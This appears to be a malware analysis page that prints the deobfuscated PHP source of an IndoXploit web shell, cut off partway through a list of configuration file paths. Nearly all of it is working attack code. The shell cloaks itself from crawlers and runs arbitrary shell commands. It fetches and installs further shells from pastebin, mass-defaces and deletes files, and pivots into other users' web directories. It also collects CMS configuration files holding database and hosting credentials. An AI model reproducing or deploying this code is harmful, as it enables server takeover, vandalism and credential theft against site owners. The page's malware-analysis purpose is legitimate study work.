PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
URLs
https://fonts.googleapis.com/css?family=Ubuntu
https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php
https://pastebin.com/raw/2i96fDCN
https://pastebin.com/raw/Lj46KxFT
https://pastebin.com/raw/aKL2QWfS
https://pastebin.com/raw/PVPfA21i
http://domains.yougetsignal.com/domains.php
http://indoxploit.or.id/
http://www.zone-h.org/archive/notifier=
http://www.zone-h.org/archive/notifier=
http://www.zone-h.org/archive/notifier=
http://www.zone-h.org/archive/notifier=
http://www.zone-h.org/notify/single
http://google.com/
http://web.com/idx_config/
Execution
system
exec
passthru
shell_exec
Input
_GET
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<?php

eval /* PHPDeobfuscator eval output */ {
    $_X = "gzinflate";
    $_T = "base64_decode";
    eval /* PHPDeobfuscator eval output */ {
        $_X = "gzinflate";
        $_T = "base64_decode";
        eval /* PHPDeobfuscator eval output */ {
            $_X = "gzinflate";
            $_T = "base64_decode";
            eval /* PHPDeobfuscator eval output */ {
                session_start();
                @error_reporting(0);
                @set_time_limit(0);
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    @set_magic_quotes_runtime(0);
                }
                @clearstatcache();
                @ini_set('error_log', NULL);
                @ini_set('log_errors', 0);
                @ini_set('max_execution_time', 0);
                @ini_set('output_buffering', 0);
                @ini_set('display_errors', 0);
                $password = "9336ebf25087d91c818ee6e9ec29f8c1";
                # md5: IndoXploit
                $SERVERIP = !$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
                $FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
                if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
                    if (preg_match("/Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot|curl/i", $_SERVER['HTTP_USER_AGENT'])) {
                        header('HTTP/1.0 404 Not Found');
                        exit;
                    }
                }
                function login_shell()
                {
                    ?>
<!DOCTYPE HTML>
<html>
<head>
<title>Cyb3r-3rr0r</title>
<style type="text/css">
html {
	margin: 20px auto;
	background: #000000;
	color: green;
	text-align: center;
}
header {
	color: green;
	margin: 10px auto;
}
input[type=password] {
	width: 250px;
	height: 25px;
	color: red;
	background: transparent;
	border: 1px dotted green;
	margin-left: 20px;
	text-align: center;
}
</style>
</head>
<center>
<header>
	<pre>
 ___________________________
< root@1337:~# w00t??? >
 ---------------------------
   \         ,        ,
    \       /(        )`
     \      \ \___   / |
            /- _  `-/  '
           (/\/ \ \   /\
           / /   | `    \
           O O   ) /    |
           `-^--'`<     '
          (_.)  _  )   /
           `.___/`    /
             `-----' /
<----.     __ / __   \
<----|====O)))==) \) /====>
<----'    `--' `.__,' \
             |        |
              \       /
        ______( (_  / \______
      ,'  ,-----'   |        \
      `--{__________)        \/
	</pre>
</header>
<form method="post">
<input type="password" name="password">
</form>
<?php 
                    exit;
                }
                if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
                    if (empty($password) || isset($_POST['password']) && md5($_POST['password']) == $password) {
                        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
                    } else {
                        login_shell();
                    }
                }
                if (isset($_GET['file']) && $_GET['file'] != '' && $_GET['act'] == 'download') {
                    @ob_clean();
                    $file = $_GET['file'];
                    header('Content-Description: File Transfer');
                    header('Content-Type: application/octet-stream');
                    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                    header('Expires: 0');
                    header('Cache-Control: must-revalidate');
                    header('Pragma: public');
                    header('Content-Length: ' . filesize($file));
                    readfile($file);
                    exit;
                }
                if (get_magic_quotes_gpc()) {
                    function idx_ss($array)
                    {
                        return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
                    }
                    $_POST = idx_ss($_POST);
                }
                ?>
<!DOCTYPE HTML>
<html>
<!--
###############################################################################
// Thanks buat Orang-orang yg membantu dalam proses pembuatan shell ini.
// Shell ini tidak sepenuhnya 100% Coding manual, ada beberapa function dan tools kita ambil dari shell yang sudah ada.
// Tapi Selebihnya, itu hasil kreasi IndoXploit sendiri.
// Tanpa kalian kita tidak akan BESAR seperti sekarang.
// Greetz: All Member IndoXploit. & All My Friends.
###############################################################################
// Special Thanks: Depok Cyber Security | Sanjungan Jiwa | 0x1999
###############################################################################
-->
<head>
<title>Cyb3r-3rr0r</title>
<meta name='author' content='Cyb3r-3rr0r'>
<meta charset="UTF-8">
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
    background: #000000;
	color: #ffffff;
	font-size: 14px;
	width: 100%;
}

li {
	display: inline;
	margin: 5px;
	padding: 5px;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: gold;
	text-decoration: underline;
}

b {
	color: gold;
}

pre {
	font-size: 13px;
}

table, th, td {
	border-collapse:collapse;
	background: transparent;
	font-family: 'Ubuntu';
	font-size: 13px;
}

.table_home, .th_home, .td_home {
	border: 1px solid #ffffff;
}

.th_home {
	color: lime;
}

.td_home, .td_home > a {
	color: #ffffff;
}

.td_home > a:hover {
	color: gold;
}

th {
	padding: 10px;
}

tr:hover {
	background: #006400;
	color: #ffffff;
}

input[type=text], input[type=password], .input {
	background: transparent; 
	color: #ffffff;
	border: 1px solid #ffffff;
	padding: 3px;
	font-family: 'Ubuntu';
	font-size: 13px;
}

input[type=submit] {
	padding: 2px;}

input[type=submit]:hover {
	cursor: pointer;
}

input:focus, textarea:focus {
  outline: 0;
  border-color: #ffffff;
}

textarea {
	border: 1px solid #ffffff;
	width: 100%;
	height: 400px;
	padding-left: 5px;
	margin: 10px auto;
	resize: none;
	background: transparent;
	color: #ffffff;
	font-family: 'Ubuntu';
	font-size: 13px;
}
iframe {
	width: 100%;
	min-height: 500px;
}
</style>
</head>
<body>
<?php 
                function path()
                {
                    if (isset($_GET['dir'])) {
                        $dir = str_replace("\\", "/", $_GET['dir']);
                        @chdir($dir);
                    } else {
                        $dir = str_replace("\\", "/", getcwd());
                    }
                    return $dir;
                }
                function color($bold = 1, $colorid = null, $string = null)
                {
                    $color = array(
                        "</font>",
                        # 0 off
                        "<font color='red'>",
                        # 1 red
                        "<font color='lime'>",
                        # 2 lime
                        "<font color='white'>",
                        # 3 white
                        "<font color='gold'>",
                    );
                    return $string !== null ? $color[$colorid] . $string . $color[0] : $color[$colorid];
                }
                function OS()
                {
                    return "Linux";
                }
                function exe($cmd)
                {
                    if (function_exists('system')) {
                        @ob_start();
                        @system($cmd);
                        $buff = @ob_get_contents();
                        @ob_end_clean();
                        return $buff;
                    } elseif (function_exists('exec')) {
                        @exec($cmd, $results);
                        $buff = "";
                        foreach ($results as $result) {
                            $buff .= $result;
                        }
                        return $buff;
                    } elseif (function_exists('passthru')) {
                        @ob_start();
                        @passthru($cmd);
                        $buff = @ob_get_contents();
                        @ob_end_clean();
                        return $buff;
                    } elseif (function_exists('shell_exec')) {
                        $buff = @shell_exec($cmd);
                        return $buff;
                    }
                }
                function save($filename, $mode, $file)
                {
                    $handle = fopen($filename, $mode);
                    fwrite($handle, $file);
                    fclose($handle);
                    return;
                }
                function getfile($name)
                {
                    if (!is_writable(path())) {
                        die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't spawn {$name}."));
                    }
                    if ($name === "adminer") {
                        $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
                    } elseif ($name === "webconsole") {
                        $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php");
                    } elseif ($name === "cgitelnet1") {
                        $get = array("https://pastebin.com/raw/Lj46KxFT", "idx_cgi/cgitelnet1.idx");
                    } elseif ($name === "cgitelnet2") {
                        $get = array("https://pastebin.com/raw/aKL2QWfS", "idx_cgi/cgitelnet2.idx");
                    } elseif ($name === "LRE") {
                        $get = array("https://pastebin.com/raw/PVPfA21i", "makman.php");
                    }
                    $fp = fopen($get[1], "w");
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $get[0]);
                    curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                    curl_setopt($ch, CURLOPT_FILE, $fp);
                    return curl_exec($ch);
                }
                function usergroup()
                {
                    if (!function_exists('posix_getegid')) {
                        $user['name'] = @get_current_user();
                        $user['uid'] = @getmyuid();
                        $user['gid'] = @getmygid();
                        $user['group'] = "?";
                    } else {
                        $user['uid'] = @posix_getpwuid(posix_geteuid());
                        $user['gid'] = @posix_getgrgid(posix_getegid());
                        $user['name'] = $user['uid']['name'];
                        $user['uid'] = $user['uid']['uid'];
                        $user['group'] = $user['gid']['name'];
                        $user['gid'] = $user['gid']['gid'];
                    }
                    return (object) $user;
                }
                function getuser()
                {
                    $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd"));
                    while ($read = fgets($fopen)) {
                        preg_match_all('/(.*?):x:/', $read, $getuser);
                        $user[] = $getuser[1][0];
                    }
                    return $user;
                }
                function getdomainname()
                {
                    $fopen = fopen("/etc/named.conf", "r");
                    while ($read = fgets($fopen)) {
                        preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);
                        $domain[] = $getdomain[1][0];
                    }
                    return $domain;
                }
                function hddsize($size)
                {
                    if ($size >= 1073741824) {
                        return sprintf('%1.2f', $size / 1073741824) . ' GB';
                    } elseif ($size >= 1048576) {
                        return sprintf('%1.2f', $size / 1048576) . ' MB';
                    } elseif ($size >= 1024) {
                        return sprintf('%1.2f', $size / 1024) . ' KB';
                    } else {
                        return $size . ' B';
                    }
                }
                function hdd()
                {
                    $hdd['size'] = hddsize(disk_total_space("/"));
                    $hdd['free'] = hddsize(disk_free_space("/"));
                    $hdd['used'] = hddsize(disk_total_space("/") - disk_free_space("/"));
                    return (object) $hdd;
                }
                function writeable($path, $perms)
                {
                    return !is_writable($path) ? color(1, 1, $perms) : color(1, 2, $perms);
                }
                function perms($path)
                {
                    $perms = fileperms($path);
                    if (($perms & 0xc000) == 0xc000) {
                        // Socket
                        $info = 's';
                    } elseif (($perms & 0xa000) == 0xa000) {
                        // Symbolic Link
                        $info = 'l';
                    } elseif (($perms & 0x8000) == 0x8000) {
                        // Regular
                        $info = '-';
                    } elseif (($perms & 0x6000) == 0x6000) {
                        // Block special
                        $info = 'b';
                    } elseif (($perms & 0x4000) == 0x4000) {
                        // Directory
                        $info = 'd';
                    } elseif (($perms & 0x2000) == 0x2000) {
                        // Character special
                        $info = 'c';
                    } elseif (($perms & 0x1000) == 0x1000) {
                        // FIFO pipe
                        $info = 'p';
                    } else {
                        // Unknown
                        $info = 'u';
                    }
                    $info .= $perms & 0x100 ? 'r' : '-';
                    $info .= $perms & 0x80 ? 'w' : '-';
                    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
                    $info .= $perms & 0x20 ? 'r' : '-';
                    $info .= $perms & 0x10 ? 'w' : '-';
                    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
                    $info .= $perms & 0x4 ? 'r' : '-';
                    $info .= $perms & 0x2 ? 'w' : '-';
                    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
                    return $info;
                }
                function lib_installed()
                {
                    $lib[] = "MySQL: " . (function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
                    $lib[] = "cURL: " . (function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
                    $lib[] = "WGET: " . (exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
                    $lib[] = "Perl: " . (exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
                    $lib[] = "Python: " . (exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
                    return implode(" | ", $lib);
                }
                function pwd()
                {
                    $dir = explode("/", path());
                    foreach ($dir as $key => $index) {
                        print "<a href='?dir=";
                        for ($i = 0; $i <= $key; $i++) {
                            print $dir[$i];
                            if ($i != $key) {
                                print "/";
                            }
                        }
                        print "'>{$index}</a>/";
                    }
                    print "<br>";
                    print OS() === "Windows" ? windisk() : "";
                }
                function windisk()
                {
                    $letters = "";
                    $v = explode("\\", path());
                    $v = $v[0];
                    foreach (range("A", "Z") as $letter) {
                        $bool = $isdiskette = in_array($letter, array("A"));
                        if (!$bool) {
                            $bool = is_dir("{$letter}:\\");
                        }
                        if ($bool) {
                            $letters .= "[ <a href='?dir={$letter}:\\'" . ($isdiskette ? " onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"" : "") . ">";
                            if ($letter . ":" != $v) {
                                $letters .= $letter;
                            } else {
                                $letters .= color(1, 2, $letter);
                            }
                            $letters .= "</a> ]";
                        }
                    }
                    if (!empty($letters)) {
                        print "Detected Drives {$letters}<br>";
                    }
                    if (count($quicklaunch) > 0) {
                        foreach ($quicklaunch as $item) {
                            $v = realpath(path() . "..");
                            if (empty($v)) {
                                $a = explode(DIRECTORY_SEPARATOR, path());
                                unset($a[count($a) - 2]);
                                $v = join(DIRECTORY_SEPARATOR, $a);
                            }
                            print "<a href='" . $item[1] . "'>" . $item[0] . "</a>";
                        }
                    }
                }
                function serverinfo()
                {
                    $disable_functions = @ini_get('disable_functions');
                    $disable_functions = !empty($disable_functions) ? color(1, 1, $disable_functions) : color(1, 2, "NONE");
                    $output[] = "SERVER IP " . color(1, 2, $GLOBALS['SERVERIP']) . " / YOUR IP " . color(1, 2, $_SERVER['REMOTE_ADDR']);
                    $output[] = "WEB SERVER  : " . color(1, 2, $_SERVER['SERVER_SOFTWARE']);
                    $output[] = "SYSTEM      : " . color(1, 2, php_uname());
                    $output[] = "USER / GROUP: " . color(1, 2, usergroup()->name) . "(" . color(1, 2, usergroup()->uid) . ") / " . color(1, 2, usergroup()->group) . "(" . color(1, 2, usergroup()->gid) . ")";
                    $output[] = "HDD         : " . color(1, 2, hdd()->used) . " / " . color(1, 2, hdd()->size) . " (Free: " . color(1, 2, hdd()->free) . ")";
                    $output[] = "PHP VERSION : " . color(1, 2, @phpversion());
                    $output[] = "SAFE MODE   : " . (@ini_get("SAFE_MODE") === "ON" ? color(1, 2, "ON") : color(1, 2, "OFF"));
                    $output[] = "DISABLE FUNC: {$disable_functions}";
                    $output[] = lib_installed();
                    $output[] = "Current Dir (" . writeable(path(), perms(path())) . ") ";
                    print "<pre>";
                    print implode("<br>", $output);
                    pwd();
                    print "</pre>";
                }
                function curl($url, $post = false, $data = null)
                {
                    $ch = curl_init($url);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                    if ($post) {
                        curl_setopt($ch, CURLOPT_POST, true);
                        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
                    }
                    return curl_exec($ch);
                }
                function reverse()
                {
                    $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=" . $GLOBALS['SERVERIP'] . "&ket=");
                    $response = str_replace("[", "", str_replace("]", "", str_replace("\"\"", "", str_replace(", ,", ",", str_replace("{", "", str_replace("{", "", str_replace("}", "", str_replace(", ", ",", str_replace(", ", ",", str_replace("'", "", str_replace("'", "", str_replace(":", ",", str_replace('"', '', $response)))))))))))));
                    $explode = explode(",,", $response);
                    unset($explode[0]);
                    foreach ($explode as $domain) {
                        $domain = "http://{$domain}";
                        $domain = str_replace(",", "", $domain);
                        $url[] = $domain;
                        ob_flush();
                        flush();
                    }
                    return $url;
                }
                function getValue($param, $kata1, $kata2)
                {
                    if (strpos($param, $kata1) === FALSE) {
                        return FALSE;
                    }
                    if (strpos($param, $kata2) === FALSE) {
                        return FALSE;
                    }
                    $start = strpos($param, $kata1) + strlen($kata1);
                    $end = strpos($param, $kata2, $start);
                    $return = substr($param, $start, $end - $start);
                    return $return;
                }
                function massdeface($dir, $file, $filename, $type = null)
                {
                    $scandir = scandir($dir);
                    foreach ($scandir as $dir_) {
                        $path = "{$dir}/{$dir_}";
                        $location = "{$path}/{$filename}";
                        if ($dir_ === "." || $dir_ === "..") {
                            file_put_contents($location, $file);
                        } else {
                            if (is_dir($path) and is_writable($path)) {
                                print "[" . color(1, 2, "DONE") . "] " . color(1, 4, $location) . "<br>";
                                file_put_contents($location, $file);
                                if ($type === "-alldir") {
                                    massdeface($path, $file, $filename, "-alldir");
                                }
                            }
                        }
                    }
                }
                function massdelete($dir, $filename)
                {
                    $scandir = scandir($dir);
                    foreach ($scandir as $dir_) {
                        $path = "{$dir}/{$dir_}";
                        $location = "{$path}/{$filename}";
                        if ($dir_ === '.') {
                            if (file_exists("{$dir}/{$filename}")) {
                                unlink("{$dir}/{$filename}");
                            }
                        } elseif ($dir_ === '..') {
                            if (file_exists(dirname($dir) . "/{$filename}")) {
                                unlink(dirname($dir) . "/{$filename}");
                            }
                        } else {
                            if (is_dir($path) and is_writable($path)) {
                                if (file_exists($location)) {
                                    print "[" . color(1, 2, "DELETED") . "] " . color(1, 4, $location) . "<br>";
                                    unlink($location);
                                    massdelete($path, $filename);
                                }
                            }
                        }
                    }
                }
                function tools($toolsname, $args = null)
                {
                    if ($toolsname === "cmd") {
                        print "<form method='post' action='?do=cmd&dir=" . path() . "' style='margin-top: 15px;'>\r\n\t\t\t  " . usergroup()->name . "@" . $GLOBALS['SERVERIP'] . ": ~ \$\r\n\t\t\t  <input style='border: none; border-bottom: 1px solid #ffffff;' type='text' name='cmd' required>\r\n\t\t\t  <input style='border: none; border-bottom: 1px solid #ffffff;' class='input' type='submit' value='>>'>\r\n\t\t\t  </form>";
                    } elseif ($toolsname === "readfile") {
                        if (empty($args)) {
                            die(color(1, 1, $msg));
                        }
                        if (!is_file($args)) {
                            die(color(1, 1, "File '{$args}' is not exists."));
                        }
                        print "<pre>";
                        print htmlspecialchars(file_get_contents($args));
                        print "</pre>";
                    } elseif ($toolsname === "spawn") {
                        if ($args === "adminer") {
                            if (file_exists("adminer.php")) {
                                print "Login Adminer: <a href='" . $GLOBALS['FILEPATH'] . "/adminer.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/adminer.php</a>";
                            } else {
                                if (!is_writable(path())) {
                                    die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'Adminer'."));
                                }
                                if (getfile("adminer")) {
                                    print "Login Adminer: <a href='" . $GLOBALS['FILEPATH'] . "/adminer.php' target='_blank'>http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/adminer.php</a>";
                                } else {
                                    print color(1, 1, "Error while downloading file Adminer.");
                                    @unlink("adminer.php");
                                }
                            }
                        } elseif ($args === "webconsole") {
                            if (file_exists("webconsole.php")) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
                            } else {
                                if (!is_writable(path())) {
                                    die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'WebConsole'."));
                                }
                                if (getfile("webconsole")) {
                                    print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
                                } else {
                                    print color(1, 1, "Error while downloading file WebConsole.");
                                    @unlink("webconsole.php");
                                }
                            }
                        } elseif ($args === "cgitelnet1") {
                            if (file_exists("idx_cgi/cgitelnet1.idx")) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
                            } elseif (file_exists('cgitelnet1.idx')) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
                            } else {
                                if (!is_writable(path())) {
                                    die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'idx_cgi'."));
                                }
                                if (!is_dir(path() . "/idx_cgi/")) {
                                    @mkdir('idx_cgi', 0755);
                                    save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
                                }
                                if (getfile("cgitelnet1")) {
                                    chmod('idx_cgi/cgitelnet1.idx', 0755);
                                    print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet1.idx' frameborder='0' scrolling='yes'></iframe>";
                                } else {
                                    print color(1, 1, "Error while downloading file CGI Telnet.");
                                    @rmdir(path() . "/idx_cgi/");
                                    if (!@rmdir(path() . "/idx_cgi/") and OS() === "Linux") {
                                        @exe("rm -rf " . path() . "/idx_cgi/");
                                    }
                                    if (!@rmdir(path() . "/idx_cgi/") and OS() === "Windows") {
                                        @exe("rmdir /s /q " . path() . "/idx_cgi/");
                                    }
                                }
                            }
                        } elseif ($args === "cgitelnet2") {
                            if (file_exists("idx_cgi/cgitelnet2.idx")) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
                            } elseif (file_exists('cgitelnet2.idx')) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
                            } else {
                                if (!is_writable(path())) {
                                    die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'idx_cgi'."));
                                }
                                if (!is_dir(path() . "/idx_cgi/")) {
                                    @mkdir('idx_cgi', 0755);
                                    save("idx_cgi/.htaccess", "w", "AddHandler cgi-script .idx");
                                }
                                if (getfile("cgitelnet2")) {
                                    chmod('idx_cgi/cgitelnet2.idx', 0755);
                                    print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/idx_cgi/cgitelnet2.idx' frameborder='0' scrolling='yes'></iframe>";
                                } else {
                                    print color(1, 1, "Error while downloading file CGI Telnet.");
                                    @rmdir(path() . "/idx_cgi/");
                                    if (!@rmdir(path() . "/idx_cgi/") and OS() === "Linux") {
                                        @exe("rm -rf " . path() . "/idx_cgi/");
                                    }
                                    if (!@rmdir(path() . "/idx_cgi/") and OS() === "Windows") {
                                        @exe("rmdir /s /q " . path() . "/idx_cgi/");
                                    }
                                }
                            }
                        } elseif ($args === "phpinfo") {
                            if (file_exists('phpinfo.php') and preg_match("/phpinfo()/", file_get_contents('phpinfo.php'))) {
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
                            } else {
                                if (!is_writable(path())) {
                                    die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'phpinfo'."));
                                }
                                save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\\'background: #000000; color: #cccccc;\\'>'; phpinfo(); print '</div></html>'; ?>");
                                print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
                            }
                        }
                    } elseif ($toolsname === "upload") {
                        if ($_POST['upload']) {
                            if ($_POST['uploadtype'] === '1') {
                                if (@copy($_FILES['file']['tmp_name'], path() . DIRECTORY_SEPARATOR . $_FILES['file']['name'] . "")) {
                                    $act = color(1, 2, "Uploaded!") . " at <i><b>" . path() . DIRECTORY_SEPARATOR . $_FILES['file']['name'] . "</b></i>";
                                } else {
                                    $act = color(1, 1, "Failed to upload file!");
                                }
                            } elseif ($_POST['uploadtype'] === '2') {
                                $root = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . $_FILES['file']['name'];
                                $web = $_SERVER['HTTP_HOST'] . DIRECTORY_SEPARATOR . $_FILES['file']['name'];
                                if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
                                    if (@copy($_FILES['file']['tmp_name'], $root)) {
                                        $act = color(1, 2, "Uploaded!") . " at <i><b>{$root} -> </b></i><a href='http://{$web}' target='_blank'>{$web}</a>";
                                    } else {
                                        $act = color(1, 1, "Failed to upload file!");
                                    }
                                } else {
                                    $act = color(1, 1, "Failed to upload file!");
                                }
                            }
                        }
                        print "Upload File: {$act}\r\n\t\t\t  <form method='post' enctype='multipart/form-data'>\r\n\t\t\t  <input type='radio' name='uploadtype' value='1' checked>current_dir [ " . writeable(path(), "Writeable") . " ] \r\n\t\t\t  <input type='radio' name='uploadtype' value='2'>document_root [ " . writeable($_SERVER['DOCUMENT_ROOT'], "Writeable") . " ]<br>\r\n\t\t\t  <input type='file' name='file'>\r\n\t\t\t  <input type='submit' value='upload' name='upload'>\r\n\t\t\t  </form>";
                    } elseif ($toolsname === "jumping") {
                        $i = 0;
                        foreach (getuser() as $user) {
                            $path = "/home/{$user}/public_html";
                            if (is_readable($path)) {
                                $status = color(1, 2, "[R]");
                                if (is_writable($path)) {
                                    $status = color(1, 2, "[RW]");
                                }
                                $i++;
                                print "{$status} <a href='?dir={$path}'>" . color(1, 4, $path) . "</a>";
                                if (!function_exists('posix_getpwuid')) {
                                    print "<br>";
                                }
                                if (!getdomainname()) {
                                    print " => " . color(1, 1, "Can't get domain name") . "<br>";
                                }
                                foreach (getdomainname() as $domain) {
                                    $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/{$domain}"));
                                    $userdomain = $userdomain->name;
                                    if ($userdomain === $user) {
                                        print " => <a href='http://{$domain}/' target='_blank'>" . color(1, 2, $domain) . "</a><br>";
                                        break;
                                    }
                                }
                            }
                        }
                        print $i === 0 ? "" : "<p>" . color(1, 3, "Total ada {$i} kamar di " . $GLOBALS['SERVERIP']) . "</p>";
                    } elseif ($toolsname === "idxconfig") {
                        if (!is_writable(path())) {
                            die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'idx_config'."));
                        }
                        if (!is_dir(path() . "/idx_config/")) {
                            @mkdir('idx_config', 0755);
                            $htaccess = "Options all\nDirectoryIndex indoxploit.htm\nSatisfy Any";
                            save("idx_config/.htaccess", "w", $htaccess);
                            foreach (getuser() as $user) {
                                $user_docroot = "/home/{$user}/public_html/";
                                if (is_readable($user_docroot)) {
                                    $getconfig = array("/home/{$user}/.accesshash" => "WHM-accesshash", "{$user_docroot}/config/koneksi.php" => "Lokomedia", "{$user_docroot}/forum/config.php" => "phpBB", "{$user_docroot}/sites/default/settings.php" => "Drupal", "{$user_docroot}/config/settings.inc.php" => "PrestaShop", "{$user_docroot}/app/etc/local.xml" => "Magento", "{$user_docroot}/admin/config.php" => "OpenCart", "{$user_docroot}/application/config/database.php" => "Ellislab", "{$user_docroot}/vb/includes/config.php" => "Vbulletin", "{$user_docroot}/includes/config.php" => "Vbulletin", "{$user_docroot}/forum/includes/config.php" => "Vbulletin", "{$user_docroot}/forums/includes/config.php" => "Vbulletin", "{$user_docroot}/cc/includes/config.php" => "Vbulletin", "{$user_docroot}/inc/config.php" => "MyBB", "{$user_docroot}/includes/configure.php" => "OsCommerce", "{$user_docroot}/shop/includes/configure.php" => "OsCommerce", "{$user_docroot}/os/includes/configure.php" => "OsCommerce", "{$user_docroot}/oscom/includes/configure.php" => "OsCommerce", "{$user_docroot}/products/includes/configure.php" => "OsCommerce", "{$user_docroot}/cart/includes/configure.php" => "OsCommerce", "{$user_docroot}/inc/conf_global.php" => "IPB", "{$user_docroot}/wp-config.php" => "Wordpress", "{$user_docroot}/wp/test/wp-config.php" => "Wordpress", "{$user_docroot}/blog/wp-config.php" => "Wordpress", "{$user_docroot}/beta/wp-config.php" => "Wordpress", "{$user_docroot}/portal/wp-config.php" => "Wordpress", "{$user_docroot}/site/wp-config.php" => "Wordpress", "{$user_docroot}/wp/wp-config.php" => "Wordpress", "{$user_docroot}/WP/wp-config.php" => "Wordpress", "{$user_docroot}/news/wp-config.php" => "Wordpress", "{$user_docroot}/wordpress/wp-config.php" => "Wordpress", "{$user_docroot}/test/wp-config.php" => "Wordpress", "{$user_docroot}/demo/wp-config.php" => "Wordpress", "{$user_docroot}/home/wp-config.php" => "Wordpress", "{$user_docroot}/v1/wp-config.php" => "Wordpress", "{$user_docroot}/v2/wp-config.php" => "Wordpress", "{$user_docroot}/press/wp-config.php" => "Wordpress", "{$user_docroot}/new/wp-config.php" => "Wordpress", "{$user_docroot}/blogs/wp-config.php" => "Wordpress", "{$user_docroot}/configuration.php" => "Joomla", "{$user_docroot}/blog/configuration.php" => "Joomla", "{$user_docroot}/submitticket.php" => "^WHMCS", "{$user_docroot}/cms/configuration.php" => "Joomla", "{$user_docroot}/beta/configuration.php" => "Joomla", "{$user_docroot}/portal/configuration.php" => "Joomla", "{$user_docroot}/site/configuration.php" => "Joomla", "{$user_docroot}/main/configuration.php" => "Joomla", "{$user_docroot}/home/configuration.php" => "Joomla", 